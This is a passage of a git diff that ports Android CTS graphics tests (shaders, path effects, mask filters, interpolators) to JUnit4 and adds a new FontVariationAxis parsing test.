+    @Test
     public void testPorterDuff() {
         LinearGradient blueGradient = new LinearGradient(0, 0, SIZE, 0,
                 Color.GREEN, Color.BLUE, Shader.TileMode.CLAMP);
@@ -70,6 +76,7 @@
         }
     }
 
+    @Test
     public void testXfermode() {
         Bitmap redBitmap = Bitmap.createBitmap(1, 1, Config.ARGB_8888);
         redBitmap.eraseColor(Color.RED);
@@ -89,7 +96,61 @@
         paint.setShader(shader);
         canvas.drawPaint(paint);
 
-        // green + cyan = white
+        // red + cyan = white
         assertEquals(Color.WHITE, bitmap.getPixel(0, 0));
     }
+
+    @Test
+    public void testChildLocalMatrix() {
+        Matrix translate1x1 = new Matrix();
+        translate1x1.setTranslate(1, 1);
+        Matrix translate0x1 = new Matrix();
+        translate0x1.setTranslate(0, 1);
+        Matrix translate1x0 = new Matrix();
+        translate1x0.setTranslate(1, 0);
+
+        Bitmap redBitmap = Bitmap.createBitmap(3, 3, Config.ARGB_8888);
+        redBitmap.setPixel(1, 1, Color.RED);
+        BitmapShader redShader = new BitmapShader(redBitmap, TileMode.CLAMP, TileMode.CLAMP);
+
+        Bitmap cyanBitmap = Bitmap.createBitmap(3, 3, Config.ARGB_8888);
+        cyanBitmap.setPixel(1, 1, Color.CYAN);
+        BitmapShader cyanShader = new BitmapShader(cyanBitmap, TileMode.CLAMP, TileMode.CLAMP);
+
+        ComposeShader composeShader = new ComposeShader(redShader, cyanShader, PorterDuff.Mode.ADD);
+
+        Bitmap bitmap = Bitmap.createBitmap(10, 10, Config.ARGB_8888);
+        Canvas canvas = new Canvas(bitmap);
+        Paint paint = new Paint();
+        paint.setShader(composeShader);
+
+        // initial state, white pixel from red and cyan overlap
+        bitmap.eraseColor(Color.TRANSPARENT);
+        canvas.drawPaint(paint);
+        assertEquals(Color.WHITE, bitmap.getPixel(1, 1));
+
+        // offset right+down from inner shaders
+        redShader.setLocalMatrix(translate1x1);
+        cyanShader.setLocalMatrix(translate1x1);
+        bitmap.eraseColor(Color.TRANSPARENT);
+        canvas.drawPaint(paint);
+        assertEquals(Color.WHITE, bitmap.getPixel(2, 2));
+
+        // offset right+down from outer shader
+        redShader.setLocalMatrix(null);
+        cyanShader.setLocalMatrix(null);
+        composeShader.setLocalMatrix(translate1x1);
+        bitmap.eraseColor(Color.TRANSPARENT);
+        canvas.drawPaint(paint);
+        assertEquals(Color.WHITE, bitmap.getPixel(2, 2));
+
+        // combine matrices from both levels
+        redShader.setLocalMatrix(translate0x1);
+        cyanShader.setLocalMatrix(null);
+        composeShader.setLocalMatrix(translate1x0);
+        bitmap.eraseColor(Color.TRANSPARENT);
+        canvas.drawPaint(paint);
+        assertEquals(Color.RED, bitmap.getPixel(2, 2));
+        assertEquals(Color.CYAN, bitmap.getPixel(2, 1));
+    }
 }
diff --git a/tests/tests/graphics/src/android/graphics/cts/CornerPathEffectTest.java b/tests/tests/graphics/src/android/graphics/cts/CornerPathEffectTest.java
index 553d05d..54cc3c0 100644
--- a/tests/tests/graphics/src/android/graphics/cts/CornerPathEffectTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/CornerPathEffectTest.java
@@ -15,29 +15,37 @@
  */
 package android.graphics.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
 
 import android.graphics.Bitmap;
+import android.graphics.Bitmap.Config;
 import android.graphics.Canvas;
 import android.graphics.Color;
 import android.graphics.CornerPathEffect;
 import android.graphics.Paint;
+import android.graphics.Paint.Style;
 import android.graphics.Path;
 import android.graphics.PathEffect;
+import android.graphics.PorterDuff.Mode;
 import android.graphics.PorterDuffXfermode;
 import android.graphics.RectF;
-import android.graphics.Bitmap.Config;
-import android.graphics.Paint.Style;
-import android.graphics.PorterDuff.Mode;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 
-import junit.framework.TestCase;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
-public class CornerPathEffectTest extends TestCase {
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class CornerPathEffectTest {
     private static final int BITMAP_WIDTH = 100;
     private static final int BITMAP_HEIGHT = 100;
     private static final int PADDING = 10;
     private static final int RADIUS = 20;
     private static final int TOLERANCE = 5;
 
+    @Test
     public void testCornerPathEffect() {
         Path path = new Path();
         path.moveTo(0, PADDING);
diff --git a/tests/tests/graphics/src/android/graphics/cts/DashPathEffectTest.java b/tests/tests/graphics/src/android/graphics/cts/DashPathEffectTest.java
index 209003b..cf1c971 100644
--- a/tests/tests/graphics/src/android/graphics/cts/DashPathEffectTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/DashPathEffectTest.java
@@ -15,21 +15,27 @@
  */
 package android.graphics.cts;
 
+import static org.junit.Assert.assertEquals;
 
 import android.graphics.Bitmap;
+import android.graphics.Bitmap.Config;
 import android.graphics.Canvas;
 import android.graphics.Color;
 import android.graphics.DashPathEffect;
 import android.graphics.Paint;
+import android.graphics.Paint.Style;
 import android.graphics.Path;
 import android.graphics.PathEffect;
-import android.graphics.Bitmap.Config;
-import android.graphics.Paint.Style;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.util.Log;
 
-import junit.framework.TestCase;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
-public class DashPathEffectTest extends TestCase {
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class DashPathEffectTest {
     private static final int BITMAP_WIDTH = 200;
     private static final int BITMAP_HEIGHT = 20;
     private static final int START_X = 10;
@@ -40,6 +46,7 @@
     private static final int BACKGROUND = Color.TRANSPARENT;
     private static final int FOREGROUND = Color.GREEN;
 
+    @Test
     public void testDashPathEffect() {
         PathEffect effect = new DashPathEffect(PATTERN, OFFSET);
         Bitmap bitmap = Bitmap.createBitmap(BITMAP_WIDTH, BITMAP_HEIGHT, Config.ARGB_8888);
diff --git a/tests/tests/graphics/src/android/graphics/cts/DiscretePathEffectTest.java b/tests/tests/graphics/src/android/graphics/cts/DiscretePathEffectTest.java
index adae2ed..ee49e2b 100644
--- a/tests/tests/graphics/src/android/graphics/cts/DiscretePathEffectTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/DiscretePathEffectTest.java
@@ -16,21 +16,28 @@
 
 package android.graphics.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
 
 import android.graphics.Bitmap;
+import android.graphics.Bitmap.Config;
 import android.graphics.Canvas;
 import android.graphics.Color;
 import android.graphics.DiscretePathEffect;
 import android.graphics.Paint;
-import android.graphics.Path;
-import android.graphics.PorterDuffXfermode;
-import android.graphics.Bitmap.Config;
 import android.graphics.Paint.Style;
+import android.graphics.Path;
 import android.graphics.PorterDuff.Mode;
+import android.graphics.PorterDuffXfermode;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 
-import junit.framework.TestCase;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
-public class DiscretePathEffectTest extends TestCase {
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class DiscretePathEffectTest {
     private static final int BITMAP_WIDTH = 200;
     private static final int BITMAP_HEIGHT = 100;
     private static final int START_X = 10;
@@ -39,6 +46,7 @@
     private static final int SEGMENT_LENGTH = 10; // must be < BITMAP_WIDTH
     private static final int DEVIATION = 10; // must be < BITMAP_HEIGHT
 
+    @Test
     public void testDiscretePathEffect() {
         DiscretePathEffect effect = new DiscretePathEffect(SEGMENT_LENGTH, DEVIATION);
 
diff --git a/tests/tests/graphics/src/android/graphics/cts/DrawFilterTest.java b/tests/tests/graphics/src/android/graphics/cts/DrawFilterTest.java
index c20bf0e..6766483 100644
--- a/tests/tests/graphics/src/android/graphics/cts/DrawFilterTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/DrawFilterTest.java
@@ -16,19 +16,18 @@
 
 package android.graphics.cts;
 
-import junit.framework.TestCase;
 import android.graphics.DrawFilter;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 
-public class DrawFilterTest extends TestCase {
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-    }
-
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class DrawFilterTest {
+    @Test
     public void testConstructor() {
-        // new the DrawFilter instance
         new DrawFilter();
     }
-
 }
diff --git a/tests/tests/graphics/src/android/graphics/cts/EmbossMaskFilterTest.java b/tests/tests/graphics/src/android/graphics/cts/EmbossMaskFilterTest.java
index a61345a..c9a7710 100644
--- a/tests/tests/graphics/src/android/graphics/cts/EmbossMaskFilterTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/EmbossMaskFilterTest.java
@@ -16,19 +16,26 @@
 
 package android.graphics.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
 
 import android.graphics.Bitmap;
+import android.graphics.Bitmap.Config;
 import android.graphics.Canvas;
 import android.graphics.Color;
 import android.graphics.EmbossMaskFilter;
 import android.graphics.Paint;
 import android.graphics.Path;
 import android.graphics.Rect;
-import android.graphics.Bitmap.Config;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 
-import junit.framework.TestCase;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
-public class EmbossMaskFilterTest extends TestCase {
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class EmbossMaskFilterTest {
     private static final int BITMAP_WIDTH = 100;
     private static final int BITMAP_HEIGHT = 100;
     private static final int START_X = 10;
@@ -37,6 +44,7 @@
     private static final int CENTER_Y = BITMAP_HEIGHT / 2;
     private static final int STROKE_WIDTH = 10;
 
+    @Test
     public void testEmbossMaskFilter() {
         EmbossMaskFilter filter = new EmbossMaskFilter(new float[] { 1, 1, 1 }, 0.5f, 8, 3);
 
diff --git a/tests/tests/graphics/src/android/graphics/cts/FontVariationAxisTest.java b/tests/tests/graphics/src/android/graphics/cts/FontVariationAxisTest.java
new file mode 100644
index 0000000..5063aa8
--- /dev/null
+++ b/tests/tests/graphics/src/android/graphics/cts/FontVariationAxisTest.java
@@ -0,0 +1,167 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.graphics.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.fail;
+
+import android.graphics.fonts.FontVariationAxis;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class FontVariationAxisTest {
+    private static final float FLOT_EQUALITY_PREC = 1e-4f;  // precision for float equality.
+    private static final String[] INVALID_TAGS = {
+        "", "abcde", "\n\n\n\n", "\u0000bcd", "\u3042bcd"
+    };
+
+    @Test
+    public void testConstruction() {
+        new FontVariationAxis("wght", 1.0f);
+        new FontVariationAxis("PRIV", -1.0f);
+    }
+
+    @Test
+    public void testGetterTest() {
+        FontVariationAxis axis = new FontVariationAxis("wght", 1.0f);
+        assertEquals("wght", axis.getTag());
+        assertEquals(1.0f, axis.getStyleValue(), FLOT_EQUALITY_PREC);
+
+        axis = new FontVariationAxis("PRIV", -1.0f);
+        assertEquals("PRIV", axis.getTag());
+        assertEquals(-1.0f, axis.getStyleValue(), FLOT_EQUALITY_PREC);
+    }
+
+    @Test
+    public void testInvalidTagConstructionTest() {
+        for (String invalidTag : INVALID_TAGS) {
+            try {
+                new FontVariationAxis(invalidTag, 0.0f);
+                fail(invalidTag + " should be treated as invalid tag");
+            } catch (IllegalArgumentException e) {
+                // pass
+            }
+        }
+    }
+
+    @Test
+    public void testFromFontVariationSetting_Single() {
+        FontVariationAxis[] axes = FontVariationAxis.fromFontVariationSettings("");
+        assertNull(axes);
+
+        axes = FontVariationAxis.fromFontVariationSettings(null);
+        assertNull(axes);
+
+        axes = FontVariationAxis.fromFontVariationSettings("'wdth' 1");
+        assertEquals(1, axes.length);
+        assertEquals("wdth", axes[0].getTag());
+        assertEquals(1.0f, axes[0].getStyleValue(), FLOT_EQUALITY_PREC);
+
+        axes = FontVariationAxis.fromFontVariationSettings("\"wdth\" 100");
+        assertEquals(1, axes.length);
+        assertEquals("wdth", axes[0].getTag());
+        assertEquals(100.0f, axes[0].getStyleValue(), FLOT_EQUALITY_PREC);
+
+        axes = FontVariationAxis.fromFontVariationSettings("   'wdth' 100");
+        assertEquals(1, axes.length);
+        assertEquals("wdth", axes[0].getTag());
+        assertEquals(100.0f, axes[0].getStyleValue(), FLOT_EQUALITY_PREC);
+
+        axes = FontVariationAxis.fromFontVariationSettings("\t'wdth' 0.5");
+        assertEquals(1, axes.length);
+        assertEquals("wdth", axes[0].getTag());
+        assertEquals(0.5f, axes[0].getStyleValue(), FLOT_EQUALITY_PREC);
+
+        axes = FontVariationAxis.fromFontVariationSettings("'PRIV' 1");
+        assertEquals(1, axes.length);
+        assertEquals("PRIV", axes[0].getTag());
+        assertEquals(1.0f, axes[0].getStyleValue(), FLOT_EQUALITY_PREC);
+
+        axes = FontVariationAxis.fromFontVariationSettings("'PRIV'\t1");
+        assertEquals(1, axes.length);
+        assertEquals("PRIV", axes[0].getTag());
+        assertEquals(1.0f, axes[0].getStyleValue(), FLOT_EQUALITY_PREC);
+
+        axes = FontVariationAxis.fromFontVariationSettings("'PRIV'\n1");
+        assertEquals(1, axes.length);
+        assertEquals("PRIV", axes[0].getTag());
+        assertEquals(1.0f, axes[0].getStyleValue(), FLOT_EQUALITY_PREC);
+
+        axes = FontVariationAxis.fromFontVariationSettings("'PRIV'\r1");
+        assertEquals(1, axes.length);
+        assertEquals("PRIV", axes[0].getTag());
+        assertEquals(1.0f, axes[0].getStyleValue(), FLOT_EQUALITY_PREC);
+
+        axes = FontVariationAxis.fromFontVariationSettings("'PRIV'\r\t\n 1");
+        assertEquals(1, axes.length);
+        assertEquals("PRIV", axes[0].getTag());
+        assertEquals(1.0f, axes[0].getStyleValue(), FLOT_EQUALITY_PREC);
+
+        axes = FontVariationAxis.fromFontVariationSettings("'wdth' 10,'PRIV'\r1");
+        assertEquals(2, axes.length);
+        assertEquals("wdth", axes[0].getTag());
+        assertEquals(10.0f, axes[0].getStyleValue(), FLOT_EQUALITY_PREC);
+        assertEquals("PRIV", axes[1].getTag());
+        assertEquals(1.0f, axes[1].getStyleValue(), FLOT_EQUALITY_PREC);
+    }
+
+    @Test
+    public void testFromFontVariationSettings_Invalid() {
+        for (String invalidTag : INVALID_TAGS) {
+            try {
+                FontVariationAxis.fromFontVariationSettings("'" + invalidTag + "' : 1.0");
+                fail(invalidTag + " should be treated as invalid settings");
+            } catch (IllegalArgumentException e) {
+                // pass
+            }
+        }
+        for (String invalidTag : INVALID_TAGS) {
+            try {
+                FontVariationAxis.fromFontVariationSettings(
+                        "'" + invalidTag + "' : 1.0, 'wdth' 10");
+                fail(invalidTag + " should be treated as invalid settings");
+            } catch (IllegalArgumentException e) {
+                // pass
+            }
+        }
+    }
+
+    @Test
+    public void testtoFontVariationSettings() {
+        assertEquals("", FontVariationAxis.toFontVariationSettings(null));
+        assertEquals("", FontVariationAxis.toFontVariationSettings(new FontVariationAxis[0]));
+
+        final FontVariationAxis[] axes = {
+            new FontVariationAxis("wght", 1.0f),
+            new FontVariationAxis("PRIV", 3.0f)
+        };
+
+        String stringData = FontVariationAxis.toFontVariationSettings(axes);
+        FontVariationAxis[] newAxes = FontVariationAxis.fromFontVariationSettings(stringData);
+        assertEquals(newAxes.length, axes.length);
+        for (int i = 0; i < axes.length; ++i) {
+            assertEquals(axes[i].getTag(), newAxes[i].getTag());
+            assertEquals(axes[i].getStyleValue(), newAxes[i].getStyleValue(), FLOT_EQUALITY_PREC);
+        }
+    }
+}
diff --git a/tests/tests/graphics/src/android/graphics/cts/ImageViewCtsActivity.java b/tests/tests/graphics/src/android/graphics/cts/ImageViewCtsActivity.java
index 9d6de44..9b6f1ef 100644
--- a/tests/tests/graphics/src/android/graphics/cts/ImageViewCtsActivity.java
+++ b/tests/tests/graphics/src/android/graphics/cts/ImageViewCtsActivity.java
@@ -16,17 +16,16 @@
 
 package android.graphics.cts;
 
-import android.graphics.cts.R;
-
 import android.app.Activity;
+import android.graphics.drawable.AnimationDrawable;
 import android.os.Bundle;
 
 /**
- * A minimal application for {@link ImageView} test.
+ * A minimal application for {@link AnimationDrawable} test.
  */
 public class ImageViewCtsActivity extends Activity {
     /**
-     * Called with the activity is first created.
+     * Called when the activity is first created.
      */
     @Override
     public void onCreate(Bundle savedInstanceState) {
diff --git a/tests/tests/graphics/src/android/graphics/cts/InterpolatorTest.java b/tests/tests/graphics/src/android/graphics/cts/InterpolatorTest.java
index 20e419e..76a9f80 100644
--- a/tests/tests/graphics/src/android/graphics/cts/InterpolatorTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/InterpolatorTest.java
@@ -16,26 +16,38 @@
 
 package android.graphics.cts;
 
-import junit.framework.TestCase;
+import static org.junit.Assert.assertArrayEquals;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
 import android.graphics.Interpolator;
 import android.graphics.Interpolator.Result;
 import android.os.SystemClock;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 
-public class InterpolatorTest extends TestCase {
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class InterpolatorTest {
     private static final int DEFAULT_KEYFRAME_COUNT = 2;
     private static final float TOLERANCE = 0.1f;
 
+    @Test
     public void testConstructor() {
-        Interpolator i = new Interpolator(10);
-        assertEquals(10, i.getValueCount());
-        assertEquals(DEFAULT_KEYFRAME_COUNT, i.getKeyFrameCount());
+        Interpolator interpolator = new Interpolator(10);
+        assertEquals(10, interpolator.getValueCount());
+        assertEquals(DEFAULT_KEYFRAME_COUNT, interpolator.getKeyFrameCount());
 
-        i = new Interpolator(15, 20);
-        assertEquals(15, i.getValueCount());
-        assertEquals(20, i.getKeyFrameCount());
+        interpolator = new Interpolator(15, 20);
+        assertEquals(15, interpolator.getValueCount());
+        assertEquals(20, interpolator.getKeyFrameCount());
     }
 
+    @Test
     public void testReset1() {
         final int expected = 100;
         Interpolator interpolator = new Interpolator(10);
@@ -45,6 +57,7 @@
         assertEquals(DEFAULT_KEYFRAME_COUNT, interpolator.getKeyFrameCount());
     }
 
+    @Test
     public void testReset2() {
         int expected1 = 100;
         int expected2 = 200;
@@ -55,6 +68,7 @@
         assertEquals(expected2, interpolator.getKeyFrameCount());
     }
 
+    @Test
     public void testTimeToValues1() throws InterruptedException {
         Interpolator interpolator = new Interpolator(1);
         assertEquals(1, interpolator.getValueCount());
@@ -65,21 +79,21 @@
         // deviate more than TOLERANCE
         interpolator.setKeyFrame(0, (int)(time - 10000), new float[] {1.0f});
         interpolator.setKeyFrame(1, (int)(time + 10000), new float[] {2.0f});
-        assertValue(1.5f, Result.NORMAL, interpolator);
+        verifyValue(1.5f, Result.NORMAL, interpolator);
 
         // FREEZE_START
         interpolator.reset(1);
         time = SystemClock.uptimeMillis();
         interpolator.setKeyFrame(0, (int)(time + 1000), new float[] {2.0f});
         interpolator.setKeyFrame(1, (int)(time + 2000), new float[] {3.0f});
-        assertValue(2.0f, Result.FREEZE_START, interpolator);
+        verifyValue(2.0f, Result.FREEZE_START, interpolator);
 
         // FREEZE_END
         interpolator.reset(1);
         time = SystemClock.uptimeMillis();
         interpolator.setKeyFrame(0, (int)(time - 2000), new float[] {2.0f});
         interpolator.setKeyFrame(1, (int)(time - 1000), new float[] {3.0f});
-        assertValue(3.0f, Result.FREEZE_END, interpolator);
+        verifyValue(3.0f, Result.FREEZE_END, interpolator);
 
         final int valueCount = 2;
         interpolator.reset(valueCount);
@@ -94,25 +108,26 @@
         }
     }
 
+    @Test
     public void testTimeToValues2() {
         Interpolator interpolator = new Interpolator(1);
         interpolator.setKeyFrame(0, 2000, new float[] {1.0f});
         interpolator.setKeyFrame(1, 4000, new float[] {2.0f});
-        assertValue(1000, 1.0f, Result.FREEZE_START, interpolator);
-        assertValue(3000, 1.5f, Result.NORMAL, interpolator);
-        assertValue(6000, 2.0f, Result.FREEZE_END, interpolator);
+        verifyValue(1000, 1.0f, Result.FREEZE_START, interpolator);
+        verifyValue(3000, 1.5f, Result.NORMAL, interpolator);
+        verifyValue(6000, 2.0f, Result.FREEZE_END, interpolator);
 
         // known bug: time argument is unsigned 32bit in graphics library
-        assertValue(-1000, 2.0f, Result.FREEZE_END, interpolator);
+        verifyValue(-1000, 2.0f, Result.FREEZE_END, interpolator);
 
         interpolator.reset(1, 3);
         interpolator.setKeyFrame(0, 2000, new float[] {1.0f});
         interpolator.setKeyFrame(1, 4000, new float[] {2.0f});
         interpolator.setKeyFrame(2, 6000, new float[] {4.0f});
-        assertValue(0, 1.0f, Result.FREEZE_START, interpolator);
-        assertValue(3000, 1.5f, Result.NORMAL, interpolator);
-        assertValue(5000, 3.0f, Result.NORMAL, interpolator);
-        assertValue(8000, 4.0f, Result.FREEZE_END, interpolator);
+        verifyValue(0, 1.0f, Result.FREEZE_START, interpolator);
+        verifyValue(3000, 1.5f, Result.NORMAL, interpolator);
+        verifyValue(5000, 3.0f, Result.NORMAL, interpolator);
+        verifyValue(8000, 4.0f, Result.FREEZE_END, interpolator);
 
 
         final int valueCount = 2;
@@ -130,41 +145,43 @@
         interpolator.reset(2, 2);
         interpolator.setKeyFrame(0, 4000, new float[] {1.0f, 1.0f});
         interpolator.setKeyFrame(1, 6000, new float[] {2.0f, 4.0f});
-        assertValues(2000, new float[] {1.0f, 1.0f}, Result.FREEZE_START, interpolator);
-        assertValues(5000, new float[] {1.5f, 2.5f}, Result.NORMAL, interpolator);
-        assertValues(8000, new float[] {2.0f, 4.0f}, Result.FREEZE_END, interpolator);
+        verifyValues(2000, new float[] {1.0f, 1.0f}, Result.FREEZE_START, interpolator);
+        verifyValues(5000, new float[] {1.5f, 2.5f}, Result.NORMAL, interpolator);
+        verifyValues(8000, new float[] {2.0f, 4.0f}, Result.FREEZE_END, interpolator);
     }
 
+    @Test
     public void testSetRepeatMirror() {
         Interpolator interpolator = new Interpolator(1, 3);
         interpolator.setKeyFrame(0, 2000, new float[] {1.0f});
         interpolator.setKeyFrame(1, 4000, new float[] {2.0f});
         interpolator.setKeyFrame(2, 6000, new float[] {4.0f});
 
-        assertValue(1000, 1.0f, Result.FREEZE_START, interpolator);
-        assertValue(3000, 1.5f, Result.NORMAL, interpolator);
-        assertValue(5000, 3.0f, Result.NORMAL, interpolator);
-        assertValue(7000, 4.0f, Result.FREEZE_END, interpolator);
+        verifyValue(1000, 1.0f, Result.FREEZE_START, interpolator);
+        verifyValue(3000, 1.5f, Result.NORMAL, interpolator);
+        verifyValue(5000, 3.0f, Result.NORMAL, interpolator);
+        verifyValue(7000, 4.0f, Result.FREEZE_END, interpolator);
 
         // repeat once, no mirror
         interpolator.setRepeatMirror(2, false);
-        assertValue( 1000, 4.0f, Result.FREEZE_END, interpolator); // known bug
-        assertValue( 3000, 1.5f, Result.NORMAL, interpolator);
-        assertValue( 5000, 3.0f, Result.NORMAL, interpolator);
-        assertValue( 7000, 1.5f, Result.NORMAL, interpolator);
-        assertValue( 9000, 3.0f, Result.NORMAL, interpolator);
-        assertValue(11000, 4.0f, Result.FREEZE_END, interpolator);
+        verifyValue( 1000, 4.0f, Result.FREEZE_END, interpolator); // known bug
+        verifyValue( 3000, 1.5f, Result.NORMAL, interpolator);
+        verifyValue( 5000, 3.0f, Result.NORMAL, interpolator);
+        verifyValue( 7000, 1.5f, Result.NORMAL, interpolator);
+        verifyValue( 9000, 3.0f, Result.NORMAL, interpolator);
+        verifyValue(11000, 4.0f, Result.FREEZE_END, interpolator);
 
         // repeat once, mirror
         interpolator.setRepeatMirror(2, true);
-        assertValue( 1000, 4.0f, Result.FREEZE_END, interpolator); // known bug
-        assertValue( 3000, 1.5f, Result.NORMAL, interpolator);
-        assertValue( 5000, 3.0f, Result.NORMAL, interpolator);
-        assertValue( 7000, 3.0f, Result.NORMAL, interpolator);
-        assertValue( 9000, 1.5f, Result.NORMAL, interpolator);
-        assertValue(11000, 4.0f, Result.FREEZE_END, interpolator);
+        verifyValue( 1000, 4.0f, Result.FREEZE_END, interpolator); // known bug
+        verifyValue( 3000, 1.5f, Result.NORMAL, interpolator);
+        verifyValue( 5000, 3.0f, Result.NORMAL, interpolator);
+        verifyValue( 7000, 3.0f, Result.NORMAL, interpolator);
+        verifyValue( 9000, 1.5f, Result.NORMAL, interpolator);
+        verifyValue(11000, 4.0f, Result.FREEZE_END, interpolator);
     }
 
+    @Test
     public void testSetKeyFrame() {
         final float[] aZero = new float[] {0.0f};
         final float[] aOne = new float[] {1.0f};
@@ -172,9 +189,9 @@
         Interpolator interpolator = new Interpolator(1);
         interpolator.setKeyFrame(0, 2000, aZero);
         interpolator.setKeyFrame(1, 4000, aOne);
-        assertValue(1000, 0.0f, Result.FREEZE_START, interpolator);
-        assertValue(3000, 0.5f, Result.NORMAL, interpolator);
-        assertValue(5000, 1.0f, Result.FREEZE_END, interpolator);
+        verifyValue(1000, 0.0f, Result.FREEZE_START, interpolator);
+        verifyValue(3000, 0.5f, Result.NORMAL, interpolator);
+        verifyValue(5000, 1.0f, Result.FREEZE_END, interpolator);
 
         final float[] linearBlend = new float[] {
                 0.0f, 0.0f, 1.0f, 1.0f
@@ -191,32 +208,32 @@
         // explicit linear blend should yield the same values
         interpolator.setKeyFrame(0, 2000, aZero, linearBlend);
         interpolator.setKeyFrame(1, 4000, aOne, linearBlend);
-        assertValue(1000, 0.0f, Result.FREEZE_START, interpolator);
-        assertValue(3000, 0.5f, Result.NORMAL, interpolator);
-        assertValue(5000, 1.0f, Result.FREEZE_END, interpolator);
+        verifyValue(1000, 0.0f, Result.FREEZE_START, interpolator);
+        verifyValue(3000, 0.5f, Result.NORMAL, interpolator);
+        verifyValue(5000, 1.0f, Result.FREEZE_END, interpolator);
 
         // blend of end key frame is not used
         interpolator.setKeyFrame(0, 2000, aZero);
         interpolator.setKeyFrame(1, 4000, aOne, accelerateBlend);
-        assertValue(1000, 0.0f, Result.FREEZE_START, interpolator);
-        assertValue(3000, 0.5f, Result.NORMAL, interpolator);
-        assertValue(5000, 1.0f, Result.FREEZE_END, interpolator);
+        verifyValue(1000, 0.0f, Result.FREEZE_START, interpolator);
+        verifyValue(3000, 0.5f, Result.NORMAL, interpolator);
+        verifyValue(5000, 1.0f, Result.FREEZE_END, interpolator);
 
         final float[] result = new float[1];
 
         interpolator.setKeyFrame(0, 2000, aZero, accelerateBlend);
         interpolator.setKeyFrame(1, 4000, aOne);
-        assertValue(1000, 0.0f, Result.FREEZE_START, interpolator);
+        verifyValue(1000, 0.0f, Result.FREEZE_START, interpolator);
         assertEquals(Result.NORMAL, interpolator.timeToValues(3000, result));
         assertTrue(result[0] < 0.5f); // exact blend algorithm not known
-        assertValue(5000, 1.0f, Result.FREEZE_END, interpolator);
+        verifyValue(5000, 1.0f, Result.FREEZE_END, interpolator);
 
         interpolator.setKeyFrame(0, 2000, aZero, decelerateBlend);
         interpolator.setKeyFrame(1, 4000, aOne);
-        assertValue(1000, 0.0f, Result.FREEZE_START, interpolator);
+        verifyValue(1000, 0.0f, Result.FREEZE_START, interpolator);
         assertEquals(Result.NORMAL, interpolator.timeToValues(3000, result));
         assertTrue(result[0] > 0.5f); // exact blend algorithm not known
-        assertValue(5000, 1.0f, Result.FREEZE_END, interpolator);
+        verifyValue(5000, 1.0f, Result.FREEZE_END, interpolator);
 
         final int validTime = 0;
         final int valueCount = 2;
@@ -256,30 +273,23 @@
 
     }
 
-    private void assertValue(int time, float expected, Result expectedResult,
+    private void verifyValue(int time, float expected, Result expectedResult,
             Interpolator interpolator) {
         float[] values = new float[1];
         assertEquals(expectedResult, interpolator.timeToValues(time, values));
         assertEquals(expected, values[0], TOLERANCE);
     }
 
-    private void assertValues(int time, float[] expected, Result expectedResult,
+    private void verifyValues(int time, float[] expected, Result expectedResult,
             Interpolator interpolator) {
         float[] values = new float[expected.length];
         assertEquals(expectedResult, interpolator.timeToValues(time, values));
-        assertFloatArray(expected, values);
+        assertArrayEquals(expected, values, TOLERANCE);
     }
 
-    private void assertValue(float expected, Result expectedResult, Interpolator interpolator) {
+    private void verifyValue(float expected, Result expectedResult, Interpolator interpolator) {
         float[] values = new float[1];
         assertEquals(expectedResult, interpolator.timeToValues(values));
         assertEquals(expected, values[0], TOLERANCE);
     }
-
-    private void assertFloatArray(float[] expected, float[] actual) {
-        assertEquals(expected.length, actual.length);
-        for (int i = 0; i < expected.length; i++) {
-            assertEquals(expected[i], actual[i], TOLERANCE);
-        }
-    }
 }
diff --git a/tests/tests/graphics/src/android/graphics/cts/Interpolator_ResultTest.java b/tests/tests/graphics/src/android/graphics/cts/Interpolator_ResultTest.java
index 6c29cda..e6fd397 100644
--- a/tests/tests/graphics/src/android/graphics/cts/Interpolator_ResultTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/Interpolator_ResultTest.java
@@ -16,19 +16,28 @@
 
 package android.graphics.cts;
 
-import junit.framework.TestCase;
+import static org.junit.Assert.assertEquals;
+
 import android.graphics.Interpolator.Result;
-import android.graphics.Shader.TileMode;
+import android.support.test.filters.SmallTest;
